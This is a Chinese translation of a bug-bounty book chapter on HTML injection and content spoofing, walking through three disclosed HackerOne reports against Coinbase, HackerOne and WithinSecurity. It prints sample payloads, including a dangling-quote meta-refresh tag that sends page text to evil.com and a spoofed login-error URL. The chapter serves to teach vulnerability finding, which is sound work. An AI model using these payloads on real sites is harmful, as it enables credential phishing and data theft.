<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                ??碼云GVP開源項目 12k star Uniapp+ElementUI 功能強大 支持多語言、二開方便! 廣告
                # 五、HTML 注入 > 作者:Peter Yaworski > 譯者:[飛龍](https://github.com/) > 協議:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) ## 描述 超文本標記語言(HTML)注入有時也被稱為虛擬污染。 這實際上是一個由站點造成的攻擊,該站點允許惡意用戶向其 Web 頁面注入 HTML,并且沒有合理處理用戶輸入。 換句話說,HTML 注入漏洞是由接收 HTML 引起的,通常通過一些之后會呈現在頁面的表單輸入。 這個漏洞是獨立的,不同于注入 Javascript,VBscript 等。 由于 HTML 是用于定義網頁結構的語言,如果攻擊者可以注入 HTML,它們基本上可以改變瀏覽器呈現的內容。 有時,這可能會導致頁面外觀的完全改變,或在其他情況下,創建表單來欺騙用戶,例如,如果你可以注入 HTML,你也許能夠將 `<form>` 標簽添加到頁面,要求用戶重新輸入他們的用戶名和密碼。 然而,當提交此表單時,它實際上將信息發送給攻擊者。 ## 示例 ### 1\. Coinbase 評論 難度:低 URL:`coinbase.com/apps` 報告鏈接:`https://hackerone.com/reports/104543` 報告日期:2015.12.10 獎金:$200 描述: 對于此漏洞,報告者識別出 Coinbase 在呈現文本時,實際上在解碼 URI 的編碼值。 對于那些不熟悉它的人(我在寫這篇文章的時候),URI 中的字符是保留的或未保留的。 根據維基百科,保留字是有時有特殊意義的字符,如`/`和`&`。 未保留的字符是沒有任何特殊意義的字符,通常只是字母。 因此,當字符被 URI 編碼時,它將按照 ASCII 轉換為其字節值,并以百分號(`%`)開頭。 所以,`/`變成`%2F`,`&`成為`%26`。 另外,ASCII 是一種在互聯網上最常見的編碼,直到 UTF-8 出現,它是另一種編碼類型。 現在,回到我們的例子,如果攻擊者輸入 HTML: ```html <h1>This is a test</h1> ``` Coinbase 實際上會將其渲染為純文本,就像你上面看到的那樣。但是,如果用戶提交了 URL 編碼字符,像這樣: ``` %3C%68%31%3E%54%68%69%73%20%69%73%20%61%20%74%65%73%74%3C%2F%68%31%3E ``` Coinbase 實際上會解碼該字符串,并渲染相應的字符,像這樣: ``` This is a test ``` 使用它,報告者演示了如何提交帶有用戶名和密碼字段的 HTML 表單,Coinbase 會渲染他。如果這個用戶是惡意的,Coinbase 就會渲染一個表單,它將值提交給惡意網站來捕獲憑據(假設人們填充并提交了表單)。 > 重要結論 > 當你測試一個站點時,要檢查它如何處理不同類型的輸入,包括純文本和編碼文本。特別要注意一些接受 URI 編碼值,例如`%2f`,并渲染其解碼值的站點,這里是`/`。雖然我們不知道這個例子中,黑客在想什么,它們可能嘗試了 URI 編碼限制字符,并注意到 Coinbase 會解碼它們。之后他們更一步 URL 編碼了所有字符。 > <http://quick-encoder.com/url> 是一個不錯的 URL 編碼器。你在使用時會注意到,它告訴你非限制字符不需要編碼,并且提供了編碼 URL 安全字符的選項。這就是獲取用于 COinbase 的相同編碼字符串的方式。 ### 2\. HackerOne 無意識 HTML 包含 難度:中 URL:hackerone.com 報告鏈接:<https://hackerone.com/reports/112935> 報告日期:2016.1.26 獎金:$500 描述: 在讀完 Yahoo XSS 的描述(第七章示例四),我對文本編輯器中的 HTML 渲染測試產生了興趣。這包含玩轉 HackerOne 的 Markdown 編輯器,在圖像標簽中輸入一些類似`ismap= "yyy=xxx"`和`"'test"`的東西。這樣做的時候,我注意到,編輯器會在雙引號里面包含一個單引號 - 這叫做懸置引號。 那個時候,我并沒有真正理解它的含義。我知道如果你在某個地方注入另一個單引號,兩個引號就會被瀏覽器一起解析,瀏覽器會將它們之間的內容視為一個 HTML 元素,例如: ```html <h1>This is a test</h1><p class="some class">some content</p>' ``` 使用這個例子,如果你打算注入一個 Meta 標簽: ```html <meta http-equiv="refresh" content='0; url=https://evil.com/log.php?text= ``` 瀏覽器會提交兩個引號之間的任何東西。現在,結果是,這個已經在 HackerOne 的 [#110578](https://hackerone.com/reports/110578) 報告中由 [intidc](https://hackerone.com/intidc) 公開。看到它公開之后,我有一點失望。 根據 HackerOne,它們依賴于 Redcarpet(一個用于 Markdown 處理的 Ruby 庫)的實現,來轉義任何 Markdown 輸入的 HTML 輸出,隨后它會通過 React 組件的`dangerouslySetInnerHTML`直接傳遞給 HTML DOM(也就是頁面)。此外,React 是一個 JavaScript 庫,可用于動態更新 Web 頁面的內容,而不需要重新加載頁面。 DOM 指代用于有效 HTML 以及 格式良好的 XML 的應用程序接口。本質上,根據維基百科,DOM 是跨平臺并且語言無關的約定,用于展示 HTML、XHTML 和 XMl 中的對象,并與其交互。 在 HackerOne 的實現中,它們并沒有合理轉義 HTML 輸出,這會導致潛在的漏洞。現在,也就是說,查看披露,我覺得我應該測試一下心得代碼。我返回并測試了這個: ```md [test](http://www.torontowebsitedeveloper.com "test ismap="alert xss" yyy="test"\ ") ``` 它會變成 ```html <a title="'test" ismap="alert xss" yyy="test" &#39; ref="http://www.toronotwebsi\ tedeveloper.com">test</a> ``` 你可以看到,我能夠將一堆 HTML 注入到`<a>`標簽中。所以,HackerOne 回滾了該修復版本,并重新開始轉義單引號了。 > 重要結論 > 僅僅是代碼被更新了,并不意味著一些東西修復了,而是還要測試一下。當部署了變更之后,同時意味著新的代碼也可能存在漏洞。 > 此外,如果你覺得有什么不對,一定要深入挖掘。我知道一開始的尾后引號可能是個問題,但是我不知道如何利用它,所以我停止了。我本應該繼續的。我實際上通過閱讀 XSS Jigsaw 的 <blog.innerht.ml> 了解了 Meta 刷新利用(請見“資源”一張),但是這是后事了。 ### 3\. WithinSecurity 內容偽造 難度:低 URL:`withinsecurity.com/wp-login.php` 報告鏈接:`https://hackerone.com/reports/111094` 報告日期:2015.1.16 獎金:$250 描述: 雖然內容偽造實際上和 HTML 注入是不同的漏洞,我也將其包含在這里,因為它們擁有相似的本質,攻擊者讓一個站點渲染它們選擇的內容。 WithinSecurity 構建在 WordPress 平臺之上,它包含登錄頁面`withinsecurity.com/wp-login.php`(這個站點已經合并到了 HackerOne 的核心平臺中)。攻擊者注意到了在登錄過程中,如果發生了錯誤,WithinSecurity 就會渲染`access_denied`,同時對應 URL 中的`error`參數: ``` https://withinsecurity.com/wp-login.php?error=access_denied ``` 注意到了這個,攻擊者嘗試修改`error`參數,并發現無論參數傳遞了什么值,都會被站點渲染為錯誤信息的一部分,并展示給用戶。這里是所用的示例: ``` https://withinsecurity.com/wp-login.php?error=Your%20account%20has%20%hacked ``` ![](https://img.kancloud.cn/f0/18/f01851df4a5caa32e87829e0f6bd887d_780x439.jpg) WithinSecurity 內容偽造 這里的關鍵是注意到 URL 中的參數在頁面中渲染。雖然他們沒有解釋,我可以假設攻擊者注意到了`access_denied`展示在了頁面上,但是也包含在 URL 中。這里他們也報告了,漏洞也可以由一個簡單的測試,修改`access_denied`參數來找到。 > 重要結論 > 時刻關注傳遞并且渲染為站點內容的 URL 參數。他們可能就是攻擊者的機會,用于欺騙受害者來執行一些惡意動作。 ## 總結 HTML 注入向站點和開發者展示了漏洞,因為他可以用于誤導用戶,并且欺騙它們來提交一些敏感信息,或者瀏覽惡意網站。就像釣魚攻擊那樣。 發現這些漏洞并不是通過僅僅提交 HTML,而是弄清楚站點如何渲染你的輸入文本,像是 URI 編碼的字符。而且,雖然內容偽造并不和 HTML 注入完全一樣,它也是類似的,因為它涉及讓一些輸入在 HTML 頁面中反映給受害者。攻擊者應該仔細尋找機會,來操縱 URL 參數,并讓它們在站點上渲染。
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看